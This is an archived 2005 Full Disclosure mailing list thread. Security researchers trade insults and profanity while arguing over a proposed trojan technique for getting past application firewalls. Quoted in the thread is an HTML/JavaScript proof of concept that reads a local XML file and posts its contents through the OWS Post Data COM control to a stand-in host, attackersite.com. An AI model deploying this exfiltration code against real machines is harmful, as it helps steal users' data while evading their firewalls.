Full Disclosure mailing list archives
Re: new attack technique? using JavaScript+XML+OWSPost Data
From: name pipe <namepipe () gmail com>
Date: Thu, 22 Dec 2005 22:54:25 +0530
Before flaming others just look at urself. wtf u do moron debasis , sell nessus reports for 5K, without even removing false +ives ?? This is ur elite resume -> http://seclists.org/lists/security-jobs/2003/Oct/0156.html hahaha Ethical Hacker ???? omfg. You trying to be next fadia or wat ? Do you want me to post ur lame Firewall bypass vulnerabilities links which have been already founded years before? Basically u are an asshole. So stfu. On 12/22/05, Debasis Mohanty <mail () hackingspirits com> wrote:
Keep it up moron !!oh yes, i am a kid compared to u (i am 22 and 27, so i am 5 years kidder than u)Shit !! Another several years ppl has to tolerate your stupidity till you actuall _grow up_.Tell me one thing, a Windows XP + Offfice XP + Internet explorer combination so rare ?Is this a new topic ?? I mean are you done with your firewall and some weired trojan design :P - D -----Original Message----- From: gkverma () gmail com [mailto:gkverma () gmail com] On Behalf Of Gaurav Kumar Sent: Thursday, December 22, 2005 10:23 PM To: Debasis Mohanty Cc: full-disclosure () lists grok org uk Subject: Re: [Full-disclosure] new attack technique? using JavaScript+XML+OWSPost Data typo- i am 22 and YOU ARE 27, so i am 5 years kidder than u. On 12/22/05, Gaurav Kumar <gaurav () securebox org> wrote:oh yes, i am a kid compared to u (i am 22 and 27, so i am 5 years kidder than u) The _real_ thing is that I proved the point. U told win xp will give access denied error. I proved u wrong with the proof attached. U told above technique wont work...i proved u wrong. Tell me one thing, a Windows XP + Offfice XP + Internet explorer combination so rare ? Is that all making ur ego shattered? ...and u are no one to decide what should one disuss on this list. regards, gaurav On 12/22/05, Debasis Mohanty <mail () hackingspirits com> wrote:Kid, Although I normally don't reply to such frivilous and lame statements but your reply has seriously piss me off.. So dropping few lines, perhaps will help you grow up !! -----Original Message-----From: Gaurav Kumar brazenly wrote:Looks like u need to read again what i wrote. I didnt use the word'spread'. I don't have to !! I can still remember your priceless statements [1] + [2] - [1] A Trojan has been to be placed in a system running an application [1] firewall like Zone Alarm Pro etc. [2] The target system must be having office XP and the user has to be [2] lured to view a webpage hosted by attacker. ROFL !! May be you could just ask your l33t victim to send you his passwords and other info by email :P Don't forget to send him your l33t email ID - '@securebox.org'[3] Moreover, u need not know if the target system is running ZA ornot...[3] "the technique works even if firewall is not installed".[4] I am discussing a possible 'design' of a trojan here, "doesnt matteris ZA[4] or any other FW is running on client".Looking at statement [3] & [4], (especially the statement within double quotes) just made me believe that you don't know what your are talking about unless you want to look like an idiot.really? ever heard of IE exploits?Priceless !!Well..Exactly! i would suggest u read the 'assumptions' first, its an assumption that user will click yes to warning...like most'normal'users do. Yet another priceless statement... Maybe you could just ask your l33t victim to click 'yes' to your l33t piece of code trying to download some l33t piece of shit which will fail to run and die likean idiot.I am sure you have enough l33t skills to strick back to keep your ego up2date however, I wud rather suggest if you have only your stupidity to share then feel free to take it offline and don't piss off everyone in this list. I would welcome you if you really want to strike back with some _serious_ technical stuff. (Note: make a note of _serious_ in the statement) - D -----Original Message----- From: gkverma () gmail com [mailto:gkverma () gmail com] On Behalf Of Gaurav Kumar Sent: Thursday, December 22, 2005 8:52 AM To: Debasis Mohanty Cc: full-disclosure () lists grok org uk; websecurity () webappsec org Subject: Re: [WEB SECURITY] RE: [Full-disclosure] new attacktechnique?using JavaScript+XML+OWSPost Data On 12/22/05, Debasis Mohanty <mail () hackingspirits com> wrote:-----Original Message----- From: Gaurav Kumar Sent: Wednesday, December 21, 2005 8:59 PM To: full-disclosure () lists grok org uk Cc: websecurity () webappsec org Subject: [Full-disclosure] new attack technique? using JavaScript+XML+OWSPost Data 1>> A Trojan has been to be placed in a system running an 1>> application firewall like Zone Alarm Pro etc.Assumptions:2>> The target system must be having office XP and the user has to 2>> be lured to view a webpage hosted by attacker. 3>> The Trojan can be designed to generate an xml file which will 3>> contain the data to be sent out. The attacker will lure the 3>> user to visit a website hosted by him. Lol !! In a practical scenario, the attacker who spreads the worm/trojans himself is not aware in the initial stage which are the infected machines unless the trojan sends back the machine/user info back to the attacker. Now as you have already mentioned ZA is running then no data can be sent back to the attacker. So the attacker is cluelesswhich are those infected machines. Looks like u need to read again what i wrote. I didnt use the word'spread'.Moreover, u need not know if the target system is running ZA or not...the technique works even if firewall is not installed. I am discussing a possible 'design' of a trojan here, doesnt matter is ZA or any other FW is running on client.So the case of luring the user to visit the link is out of scope...really? ever heard of IE exploits?The site can have following HTML code-Now coming back to technical stuff, You are trying to access a local file which will only be allowed if the site is in "Trusted Sites" or "Local Intranet" or "Local Security Zone" and activex notmarked safe.The fact that *the client is also the server* is irrelevant. Try uploading the script to some webserver and give a html extention; it will throw an _access denied_ error when the page loads (even on Win XP + SP1). In case of any server side extention like *.asp, *.jsp etc, the user will be prompted that an malicious component is trying to load and ask for user permission.<html> <body> The author is not responsible for any misuse, this PoC is for educational purpose only. <object classid="clsid:{BDEADE98-C265-11D0-BCED-00A0C90AB50F}" id="exp"> </object> <script LANGUAGE=javascript> var xmlDoc xmlDoc = new ActiveXObject("Microsoft.XMLDOM"); xmlDoc.async=false; xmlDoc.load("c:\\note.xml"); xmlObj=xmlDoc.documentElement; var a= xmlObj.firstChild.text; exp.Post(0,"http://www.attackersite.com/input.asp",a); </script> </body> </html>The above code (works well on windows XP SP2) essentials calls "OWS Post Data" COM control to post the contents of note.xml (generated by trojan) to attackersite.comIMHO, never conduct such tests in a "Intranet Zone" or "Local Zone" and draw conclusion about "Internet Security Zone". You may also link to know about this issue - http://support.microsoft.com/kb/317244/EN-US/Essentially, the technique is breaking the basic functionality of application firewalls by using OWS Post Data as bridge for sending out the data using Javascript and XML.Not Exactly !! I wud rather suggest you to do a little more research and draw any conclusion. Keep those _Security Zones_ in mind before you post anything...Well..Exactly! i would suggest u read the 'assumptions' first, its an assumption that user will click yes to warning...like most 'normal' users do.- D_______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
_______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Current thread:
- new attack technique? using JavaScript+XML+OWS Post Data Gaurav Kumar (Dec 21)
- Re: new attack technique? using JavaScript+XML+OWS Post Data Joachim Schipper (Dec 21)
- RE: new attack technique? using JavaScript+XML+OWSPost Data Debasis Mohanty (Dec 21)
- Message not available
- Re: [WEB SECURITY] RE: new attack technique? using JavaScript+XML+OWSPost Data Gaurav Kumar (Dec 21)
- Re: [WEB SECURITY] RE: new attack technique? using JavaScript+XML+OWSPost Data Gaurav Kumar (Dec 21)
- RE: new attack technique? using JavaScript+XML+OWSPost Data Debasis Mohanty (Dec 22)
- Message not available
- Re: new attack technique? using JavaScript+XML+OWSPost Data Gaurav Kumar (Dec 22)
- Re: new attack technique? using JavaScript+XML+OWSPost Data Gaurav Kumar (Dec 22)
- RE: new attack technique? using JavaScript+XML+OWSPost Data Debasis Mohanty (Dec 22)
- Re: new attack technique? using JavaScript+XML+OWSPost Data name pipe (Dec 22)
- Re: new attack technique? using JavaScript+XML+OWSPost Data Gaurav Kumar (Dec 22)
- Re: new attack technique? using JavaScript+XML+OWSPost Data Test Drive (Dec 22)
- RE: new attack technique? usingJavaScript+XML+OWSPost Data Debasis Mohanty (Dec 22)
- RE: new attack technique? usingJavaScript+XML+OWSPost Data Debasis Mohanty (Dec 22)
- Re: [WEB SECURITY] RE: new attack technique? using JavaScript+XML+OWSPost Data Gaurav Kumar (Dec 21)
- RE: new attack technique? using JavaScript+XML+OWSPost Data Debasis Mohanty (Dec 22)
- Re: new attack technique? using JavaScript+XML+OWSPost Data Test Drive (Dec 22)
- Broadcast storm in my network/ any ideas wilder_jeff Wilder (Dec 22)
- Re: Broadcast storm in my network/ any ideas 3APA3A (Dec 22)
- Re: Broadcast storm in my network/ any ideas TheGesus (Dec 22)
- Re: Broadcast storm in my network/ any ideas J.A. Terranson (Dec 22)